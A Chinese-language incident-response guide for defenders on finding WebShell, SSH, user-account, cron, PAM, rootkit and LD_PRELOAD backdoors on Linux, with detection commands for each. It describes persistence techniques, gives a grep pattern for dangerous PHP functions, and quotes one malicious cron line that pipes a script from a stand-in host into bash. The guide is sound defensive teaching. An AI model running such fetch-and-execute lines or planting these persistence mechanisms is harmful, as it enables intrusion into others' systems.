后门排查完全指南
后门排查完全指南
概述
后门(Backdoor)是攻击者在成功入侵系统后留下的用于维持持久化访问的技术手段。一个被入侵的系统上可能同时存在多种类型的后门,从简单的WebShell文件到复杂的内核级Rootkit,每种后门的技术原理和排查方法各不相同。在应急响应中,后门排查是最关键也最具挑战性的环节——如果后门未被彻底清除,攻击者将能够持续访问系统,使得其他所有处置措施都失去意义。
后门技术可以大致分为三类:应用层后门(如WebShell、Web应用逻辑后门)、系统层后门(如SSH后门、用户后门、计划任务后门、PAM后门)和内核层后门(如Rootkit)。排查的难度也随层级的深入而递增。
本文将系统介绍各类后门的技术原理和排查方法,帮助蓝队人员在应急响应中做到彻底清除。
核心概念
WebShell后门排查
WebShell 是最常见的Web应用后门,以脚本文件形式存在于Web目录中。排查方法包括:使用 find 命令按文件修改时间搜索(find /var/www -mtime -30 -name "*.php"),查找最近被修改的脚本文件;按文件内容搜索关键字(grep -rn "eval\|assert\|system\|exec\|passthru\|shell_exec\|base64_decode" /var/www/)。
高级WebShell可能使用加密或编码技术规避检测。排查时应关注以下特征:文件内容包含大量混淆代码(如 base64 编码的长字符串配合 eval 执行)、文件权限与同目录其他文件不一致、文件大小异常(过小可能是单行一句话WebShell,过大可能包含大量加密数据)、文件创建时间与业务发布记录不匹配。
使用专业WebShell检测工具提高效率:D盾(Windows)、河马WebShell检测、牧云WebShell检测等。这些工具基于特征规则和机器学习模型,能够识别经过各种变形的WebShell。
SSH后门排查
SSH后门是最常见的系统后门之一。主要形式包括:替换SSH服务程序(将sshd替换为带有后门的版本,记录密码或接受万能密码登录)、SSH软链接后门(利用sshd对软链接的处理缺陷,通过任意端口以root身份登录)、SSH公钥后门(在authorized_keys中添加攻击者公钥)、SSH Wrapper后门(通过LD_PRELOAD劫持SSH连接)。
排查步骤:检查 /usr/sbin/sshd 的文件哈希和数字签名是否正常(rpm -V openssh-server 或 debsums openssh-server);检查所有用户的 ~/.ssh/authorized_keys 文件;使用 netstat -tlnp 检查是否有非标准端口的sshd监听;检查 /etc/ld.so.preload 是否被修改;检查 PAM 配置文件 /etc/pam.d/sshd 是否被添加异常模块。
SSH软链接后门的排查:ls -la /usr/sbin/sshd 检查文件是否为软链接,netstat -tlnp | grep -v "22" 查看是否有其他端口的 SSH 服务。使用 ssh root@<IP> -p <port> 测试可疑端口。
系统用户后门
攻击者可能创建隐藏用户或提升普通用户权限来维持访问。隐藏用户的手法包括:在 /etc/passwd 中添加 UID 为 0 的非 root 用户(等效于 root 权限)、在用户名末尾添加空格或特殊字符使命令行显示不全、利用 NIS/LDAP 等外部认证机制添加用户。
排查方法:cat /etc/passwd | awk -F: '$3==0' 查找所有 UID 为 0 的用户;cat /etc/passwd | grep -v "nologin\|false" 查找有登录 shell 的用户;cat /etc/shadow 检查密码字段是否异常;getent passwd 获取所有用户(包括外部认证源)。
检查 sudo 配置:cat /etc/sudoers 和 ls /etc/sudoers.d/ 查看是否有异常的 sudo 规则赋予了不该有特权的用户。
计划任务后门
通过 crontab、systemd timer、at 等机制实现的定时执行后门。排查位置包括:crontab -l(当前用户)、cat /etc/crontab(系统级)、ls /etc/cron.d/、ls /var/spool/cron/(各用户 crontab)、systemctl list-timers(systemd 定时器)、atq(at 队列)。
恶意计划任务的特征:执行从远程下载脚本的命令(如 curl http://evil.com/script.sh | bash)、反弹 shell 命令、文件权限异常(其他用户可写的 crontab 文件)、任务描述中包含可疑的执行时间和频率。
特别注意隐藏的 crontab 文件:攻击者可能直接在 /var/spool/cron/crontabs/ 目录下创建以 . 开头的隐藏文件。
PAM后门与Rootkit
PAM(Pluggable Authentication Module)后门通过修改或替换PAM认证模块来实现任意用户登录。攻击者可以修改 /etc/pam.d/ 下的认证配置文件加载恶意模块,或替换 /lib/security/ 下的 PAM 模块文件。排查时需验证 PAM 模块的完整性和配置文件的修改时间。
Rootkit 是最深层的后门,分为用户态 Rootkit 和内核态 Rootkit。用户态 Rootkit 替换系统命令(如 ps、netstat、ls)来隐藏恶意活动;内核态 Rootkit 通过加载内核模块或修改系统调用表来劫持内核功能。检测工具包括 chkrootkit、rkhunter 和专业取证工具。
排查 LD_PRELOAD 后门:cat /etc/ld.so.preload 检查是否被写入恶意共享库路径;echo $LD_PRELOAD 检查环境变量;检查 /etc/ld.so.conf.d/ 下的配置文件。
实战要点
- 多维度交叉验证:单一排查手段可能被绕过,应结合文件系统、进程、网络连接、日志等多个维度进行交叉验证。例如某个进程在 ps 中看不到但在 /proc 中存在,说明可能存在进程隐藏。
- 使用可信工具排查:攻击者可能替换了系统工具来隐藏后门。排查时应使用静态编译的 busybox 或从可信介质导入的工具,避免使用可能已被篡改的系统命令。
- 完整性校验贯穿始终:在排查的每个环节都进行文件完整性校验。使用包管理器的验证功能(rpm -V、dpkg --verify),对比系统文件的哈希值与官方源的哈希值。
- 排查反弹Shell连接:使用
netstat -anp | grep ESTABLISHED查看所有已建立的连接,关注与外部IP的反向连接。攻击者可能设置了定时反弹Shell,即使后门文件被删除,反弹Shell仍会定期建立连接。 - 全面检查Web应用配置:除了检查WebShell文件,还应检查Web应用的配置文件是否被篡改(如数据库连接配置中的恶意触发器、配置文件中的代码执行入口)。
总结
后门排查是应急响应中技术含量最高的环节,需要对操作系统、Web容器和网络协议有深入的理解。排查过程应遵循系统化的方法论,从应用层到系统层逐层深入,结合多种检测手段交叉验证,确保不遗漏任何后门。建立完善的安全基线和监控机制,可以在入侵发生时提供更高效的排查能力。